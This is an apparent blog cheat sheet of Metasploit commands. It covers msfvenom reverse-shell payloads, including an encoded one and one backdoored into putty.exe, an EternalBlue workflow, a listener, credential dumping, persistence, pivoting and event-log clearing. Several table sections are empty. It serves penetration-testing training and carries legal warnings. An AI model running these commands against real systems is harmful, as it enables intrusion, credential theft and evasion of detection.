Metasploit Cheat Sheet 2026: Complete Commands Guide (msfconsole, msfvenom & Meterpreter)

Metasploit Framework is the industry-standard penetration testing tool for finding, exploiting, and validating vulnerabilities. This Metasploit Cheat Sheet, also useful as a broader metasploit commands cheat sheet covers every command you need in 2026 for msfconsole, msfvenom, Meterpreter, payloads, sessions, and post-exploitation, in one scannable reference.

TL;DR:

This Metasploit Cheat Sheet gives you every essential command for msfconsole, msfvenom, and Meterpreter in 2026. Use it to quickly search modules, generate payloads, manage sessions, and perform post-exploitation, all in one scannable reference.

Metasploit Framework, built and maintained by Rapid7, ships with over 2,300 exploits and 3,900 modules. This guide is built for Metasploit Framework 6.4+ (the current 6.5 release line), and it’s organized the way you actually use the tool: start the console, find a module, configure it, fire the Meterpreter payload, manage the session, then move into post-exploitation.

Launching Metasploit

Metasploit requires a PostgreSQL database to track hosts, services, and vulnerabilities. Start it before you launch the console.

# Initialize the database (first time only)
sudo msfdb init
# Start PostgreSQL if it isn't running
sudo systemctl start postgresql
# Launch msfconsole
msfconsole
# Launch quietly, no banner
msfconsole -q
# Check database connection status
db_status

On Kali Linux, msfdb init and msfconsole handle almost everything automatically. If db_status shows “not connected,” restart PostgreSQL and re-run msfdb init.

Quick answer: to start Metasploit, run sudo msfdb init once to set up the database, then type msfconsole any time to launch the framework.

How to Update Metasploit

Keep Metasploit Framework current to get the latest exploits, modules, and Meterpreter payload improvements.

# Kali Linux / Debian-based systems
sudo apt update && sudo apt install metasploit-framework
# Standalone installer (Linux/macOS)
sudo msfupdate

Metasploit Framework 6.5 adds improved Malleable C2 support for HTTP Meterpreter, giving red teams more control over traffic profiles to blend in with normal network activity, worth updating for if you’re doing evasion-focused engagements.

Pro Tip: Run sudo apt update && sudo apt install metasploit-framework weekly. New CVE modules are constantly being released, and an outdated Metasploit Framework installation means missing recent exploits, such as the latest EternalBlue-style SMB modules.

Core msfconsole Commands

These are the commands you’ll use in every single session.

Metasploit can import Nmap scan results directly into its database using the db_nmap command. For a complete reference of all Nmap flags, scan types, and NSE scripts, see the full Nmap cheat sheet.

When you run db_nmap with default scripts (-sC), Metasploit imports the results of Nmap’s most useful NSE scripts. You can explore the most powerful ones in detail here: top 10 NSE scripts.

Search Filters

The search command supports filters that dramatically speed up module discovery:

search type:exploit platform:windows smb
search cve:2021-34527
search name:eternalblue
search author:hdm
search rank:excellent windows
search platform:linux type:auxiliary

Common filter keywords: type, platform, name, cve, author, rank, app, date.

Example: finding all Windows SMB exploits ranked “excellent” or higher:

search type:exploit platform:windows smb rank:excellent

This is also how you’d find the classic EternalBlue exploit (ms17_010_eternalblue), one of the most widely referenced modules in any metasploit commands cheat sheet.

Module Management

Every Metasploit action revolves around loading a module, checking its options, and configuring it correctly.

# Load a module
use exploit/windows/smb/ms17_010_eternalblue
# View module details, author, and references
info
# List required, optional, and current values
show options
# List compatible payloads for the loaded exploit
show payloads
# List available advanced options
show advanced
# Set the target IP (single option)
set RHOSTS 192.168.1.50
# Set your listener IP globally (persists across modules)
setg LHOST 192.168.1.10
# Set the payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Validate the target before exploiting
check
# Run the module
exploit

Pro Tip: Always run check before exploit. It tests whether the target is actually vulnerable without firing the exploit, saving you from crashing a service or tipping off an IDS unnecessarily.

Pro Tip: Use setg LHOST <IP> instead of set LHOST <IP> when you know you’ll be testing multiple modules against the same range. It persists your listener IP globally so you don’t have to re-enter it every time you switch modules.

Module types explained:

• Exploit: code that takes advantage of a vulnerability
• Payload: the code delivered after successful exploitation
• Auxiliary: scanners, fuzzers, and non-exploit utilities
• Post: post-exploitation modules run inside a session
• Encoder: obfuscates payloads to evade signature detection
• NOP: generates no-operation sled bytes for exploit reliability

Metasploit is the most widely used exploitation framework, but it is not the only option available to penetration testers. A comparison of the leading tools can be found in this overview of exploitation frameworks.

Common Payloads Table

Payloads fall into two categories: staged (sent in two parts; a small stager, then the full payload) and stageless (the entire payload in one piece, more stable through restrictive firewalls and IDS).

Staged vs. stageless, in plain terms: staged payloads are smaller on disk and load the rest over the network at runtime, which is stealthier but needs a stable connection. Stageless payloads are self-contained and more reliable on unstable or filtered networks, at the cost of a larger file size.

Understanding the underlying TCP handshake is essential when troubleshooting reverse shells and Meterpreter sessions. A clear breakdown for security professionals is available in this guide: TCP/IP handshakes.

Complete msfvenom Guide

msfvenom combines msfpayload and msfencode into one tool for generating and encoding standalone Meterpreter payloads and shells. See the official msfvenom documentation for the full list of options.

Basic Syntax

msfvenom -p <payload> LHOST=<IP> LPORT=<PORT> -f <format> -o <output_file>

Core Options

Common Output Formats

exe, elf, apk, war, psh (PowerShell), asp, aspx, jsp, raw, python, hex, c

Real-World msfvenom Examples

Windows EXE reverse shell:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe

Linux ELF reverse shell:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf

PHP web shell:

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.php

Android APK payload:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o app.apk

Encoded payload to reduce signature detection:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

Payload embedded in a legitimate executable template:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x putty.exe -k -f exe -o putty_backdoor.exe

List all available payload formats:

msfvenom -l formats
msfvenom -l payloads
msfvenom -l encoders

Meterpreter Commands

Once a session is established, the Meterpreter payload provides a rich post-exploitation shell. This section works as a standalone meterpreter cheat sheet; commands are grouped by category below.

Pro Tip: After landing a session, run migrate <PID> to move Meterpreter into a stable, long-running process (like explorer.exe). The process you first exploited October crash or get closed, killing your session if you don’t migrate.

System Info

Filesystem

Process Management

Networking

Privilege Escalation

# Kiwi extension (Mimikatz integration) for credential extraction

The Kiwi extension is Metasploit’s built-in Mimikatz integration, used for extracting plaintext credentials, hashes, and Kerberos tickets from memory on Windows targets.

Surveillance

Session & Job Management

Sessions represent active connections to compromised hosts. Jobs are background tasks like listeners.

# Start a multi-handler listener as a background job
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit -j -z

The -j flag runs the handler as a job instead of taking over the console; -z starts it without waiting for a session to fully interact.

Pro Tip: Always launch your multi/handler with exploit -j -z when you expect multiple incoming connections (e.g., a phishing campaign with several targets). Running it in the foreground ties up your console for one session at a time.

Useful Auxiliary Modules

Auxiliary modules cover scanning, fuzzing, and credential attacks, no exploitation required.

See also: Wireshark Cheat Sheet for packet capture and network traffic analysis commands.

Example usage:

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run

Post-Exploitation Essential

After you have a session, these modules and commands extract value and maintain reliable access.

# Gather system, network, and user information
run post/windows/gather/enum_logged_on_users
run post/multi/gather/env

# Dump credentials
run post/windows/gather/credentials/windows_autologin
run post/windows/gather/smart_hashdump

# Persistence
run post/windows/manage/persistence_exe
# Pivot into internal networks using autoroute
run post/multi/manage/autoroute
run autoroute -s 10.10.10.0/24

# autoroute adds a route through the compromised host, letting you

# scan and exploit internal subnets the host can reach but you can't

# Clear event logs (lab/authorized engagements only)
clearev

# Escalate privileges
run post/multi/recon/local_exploit_suggester
getsystem

Core post-exploitation goals: confirm what you’ve compromised, extract credentials, move laterally, and document everything for the report.

Real-World Workflow Example

Here’s a complete, realistic workflow from initial scan to post-exploitation on an authorized test target.

Step 1: Scan the target and populate the database

db_nmap -sV -O 192.168.1.50

Expected output: a service/version table for the target, automatically saved to the Metasploit database and viewable later with services.

Step 2: Search for a matching exploit

search type:exploit platform:windows smb rank:excellent

Expected output: a numbered list of matching modules, including exploit/windows/smb/ms17_010_eternalblue if the target looks like an unpatched SMBv1 host.

Step 3: Load and configure the exploit

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.50
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444

Step 4: Validate before firing

check

Expected output: [+] 192.168.1.50:445 – The target is vulnerable. If you instead see “cannot reliably check,” the module doesn’t support safe checking: proceed cautiously and confirm scope first.

Step 5: Exploit

exploit

Expected output: [*] Meterpreter session 1 opened. If the connection fails, the most common causes are a blocked LPORT on the target’s firewall or a mismatched payload architecture (x86 vs x64).

Step 6: Confirm access and gather info

sysinfo
getuid

Step 7: Escalate privileges

getsystem
hashdump

Common error: getsystem failing with “access denied” usually means the session is running as a low-privilege user. Run run post/multi/recon/local_exploit_suggester to find a working local privilege escalation module instead.

Step 8: Pivot and persist

run post/multi/manage/autoroute
run post/windows/manage/persistence_exe

Step 9: Document and clean up

Record every command, output, and timestamp for your report. Remove persistence mechanisms and restore the target to its original state once testing concludes, per your engagement’s rules.

Download the PDF: Want an offline copy? Download the Metasploit Cheat Sheet 2026 PDF for quick reference while working in msfconsole, msfvenom, and Meterpreter.

Ethical Use & Legal Warning

Metasploit Framework is a dual-use tool. Using it against systems you do not own or lack explicit written authorization to test is illegal in most jurisdictions, including under the U.S. Computer Fraud and Abuse Act and the UK Computer Misuse Act. Review Rapid7’s legal and ethical use policy before any engagement. Only run these commands in:

• Environments you own
• Authorized penetration tests with signed scope agreements
• Legal training labs (Hack The Box, TryHackMe, your own home lab)

OPSEC Notes

• Always confirm scope and rules of engagement before testing
• Use check before exploit to avoid unnecessary crashes
• Log all activity for the final report; screenshots, timestamps, commands
• Clean up persistence, uploaded files, and modified logs at engagement close
• Never test production systems without a maintenance window and stakeholder sign-off

To practice the commands in this Metasploit cheat sheet safely, you need a proper lab. You can follow these two detailed guides:

• How to set up a full penetration testing lab
• How to build a home penetration lab on a budget

Frequently Asked Questions FAQ’s

What is a Metasploit Cheat Sheet used for?

A Metasploit Cheat Sheet is a quick-reference guide that lists the core commands for msfconsole, msfvenom, and Meterpreter, so penetration testers can scan, exploit, and manage sessions without having to memorize the full syntax.

Is Metasploit free to use?

Yes. Metasploit Framework is open-source and free, maintained by Rapid7. A paid version, Metasploit Pro, adds a GUI, automation, and reporting features for enterprise teams.

What is the difference between msfconsole and msfvenom?

msfconsole is the main interactive framework for searching, configuring, and launching exploit and auxiliary modules. msfvenom is a standalone command-line tool for generating and encoding custom payloads outside the console.

What do LHOST and LPORT mean in Metasploit?

LHOST is the local (attacker) IP address that receives the reverse connection, and LPORT is the local port the listener binds to. RHOSTS is the target’s IP address or range.

How do I upgrade a normal shell to Meterpreter?

Background the current session with Ctrl+Z, then run sessions -u <session_id> to automatically upgrade a basic shell session to a full Meterpreter session.

What is the difference between staged and stageless payloads?

Staged payloads send a small stager first, then load the rest of the payload over the network. Stageless payloads contain the entire payload in a single file, which is more stable over restrictive or unstable networks.

How do I list all Meterpreter commands?

Type help in an active Meterpreter session to see all available commands, grouped by category, such as file system, networking, and system commands.

What does getsystem do in Metasploit?

getsystem attempts several built-in privilege escalation techniques automatically to elevate a Meterpreter session from a standard user to SYSTEM-level access on Windows targets.

Is Metasploit legal to use?

Metasploit itself is legal software. Using it against systems you don’t own or don’t have explicit written authorization to test is illegal under computer fraud laws in most countries.

How do I save scan results in Metasploit?

Run scans using database-connected commands like db_nmap <target> instead of plain nmap, so results are automatically stored and viewable with hosts, services, and vulnerabilities.